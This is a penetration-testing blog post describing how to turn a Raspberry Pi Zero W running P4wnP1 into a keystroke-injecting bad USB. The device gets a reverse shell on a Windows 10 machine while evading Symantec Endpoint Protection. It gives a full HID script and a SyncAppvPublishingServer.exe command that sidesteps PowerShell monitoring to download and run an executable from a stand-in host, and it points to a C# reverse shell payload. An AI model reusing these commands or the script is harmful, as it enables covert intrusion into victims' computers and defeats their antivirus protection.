Simple AV Evasion Symantec and P4wnP1 USB

Simple AV Evasion Symantec and P4wnP1 USB

Follow on twitter: https://twitter.com/initroott

I’ve recently converted my sturdy Raspberry Pi Zero W to a bad USB using the P4wnP1 image and toolkit created my mame82. The ultimate goal was to run a remote command shell while evading the latest version of Symantec SEP with full protection enabled. It’s easy to run a remote shell by creating your own payload, however, the advanced features available in Symantec makes it difficult to execute as the SONAR and IPS detection techniques are powerful. You can go far by encrypting the payload and delivery as Symantec will be unable to analyze it. The brilliant article by Erik outlines how the SSL certificate can be a give-away as portions are not encrypted and look illegitimate.

Some articles to read before on evading detection:

With my setup I have the following to complete the below tutorial:


Overall Setup

P4wnP1

I won’t cover the P4wnP1 USB setup as this has been covered in several articles. Have a look at the official git https://github.com/mame82/P4wnP1_aloa

and WIKI https://p4wnp1.readthedocs.io/en/latest/.

Some notes of the setup, I’ve changed the following important settings:

  • Hotspot name
  • USB HID attack script, discussed below

Some pictures of the final device, ready for action.

Victim Machine

My test machine runs a Windows 10.0.16299.125 and a trial version of Symantec Endpoint Protection 14.2.

I’ve also ensured that UAC is enabled on the default settings.


Attacking machine

I run my own customized Ubuntu for pen-testing. One caveat for the testing is that I’m on the same network in order to connect. This off-course will be different depending on your engagement and you can covert your connection and egress through port 443 etc., which are mostly allowed on corporate networks with little filtering. I’ll leave further reading to yourself.

Attacking our Target

The Payload

Obfuscation can go a long way in evading payload detection. I do however prefer to create my own using c# or c. Shout-out to Bank Security for a great article on this, follow here https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15. For this specific instance, I’ve gone with a simple C# payload, source code hosted and created by the above author on github.

Reminder: Make small changes to your attacking machine’s IP and port, I’ve used port 443 for the test.

This mostly covers the payload, I’ve run a test instance on the victim machine and surprise, no detection by Symantec. This is where the ease of things stopped.

Payload Delivery

Delivering the payload was not as easy. Symantec’s SONAR monitors powershell and command prompt very tightly and seems to detect everything I throw at it.

My initial idea was to stay close to native windows in order to evade. I’ve tried using certutil to deliver the payload from my website hosted on my local webserver. Another alternative was decoding the payload as base64 and use certutil to decode. This also failed.

I would love to hear some other techniques that worked for others!

I eventually settled using a very simple technique by running SyncAppvPublishingServer to execute the code. A good write-up on this and similar techniques can be found here https://ired.team/offensive-security/powershell-without-powershell. This seems to evade Symantec’s monitoring of powershell completely.

Do deliver the payload I use a simple command, powershell downloads the payload, which is evaded using SyncAppvPublishingServer and the payload also evades detection as its custom developed. Once downloaded File is run from the user’s profile. Let’s focus more on the code below.

C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://www.evil.co.uk/xoramyntas/Win.exe','$env:USERPROFILE/Win.exe'); Start-Process '$env:USERPROFILE/Win.exe' -WindowStyle Minimized;"

Completion

To wrap up the attack, I’ve setup the bad USB to execute the commands. Some pictures on my setup are below. I’ve accessed my bad USB by connecting via WiFi to my android phone. There is no detection from Symantec as this isn’t a usb device but is seen as a keyboard.

The HID script is set up to wait until the user’s repeatability pressed the Numlock key, this can be modified to your liking when and how to execute. Keep in mind that the USB HID device will show on-screen and you need to cater that your common user won’t care or might get suspicious.

The HID script I’ve set up as below:

layout('us'); // US keyboard layout
typingSpeed(0,0) // Wait 100ms between key strokes + an additional random value between 0ms and 150ms (natural)
waitLEDRepeat(NUM); // Wait till NUM LED of target changes frequently multiple times (doesn't work on OSX)
press("GUI r");
delay(500);
type("powershell.exe\n");
delay(500);
type("C:\\Windows\\System32\\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://www.evil.co.uk/xoramyntas/Win.exe','$env:USERPROFILE/Win.exe'); Start-Process '$env:USERPROFILE/Win.exe' -WindowStyle Minimized;\"");
type("\n");

Finally, once executed I gain my remote shell.

This wraps up a very simple technique for payload creation and evading Symantec’s advanced features on payload delivery.

Would love to know what techniques you found working or any improvements!

Special thanks to the authors of the above articles, great for the community to share.

Updates — Other AV Solutions

Based on the great feedback I’ve tried to test some other solutions. I’ll be compiling a table with the results the moment I’ve had a few of them covered.

So far Windows Defender seems very capable of detecting the attack where Symantec SEP still struggles, logs, especially SONAR shows not a single event.

Windows Defender

Symantec (Update on the same Win 10 version as above)

Future improvements

  • Use C based persistent payload delivery
  • Modify HID to be more covert

Leave a Reply

Your email address will not be published. Required fields are marked *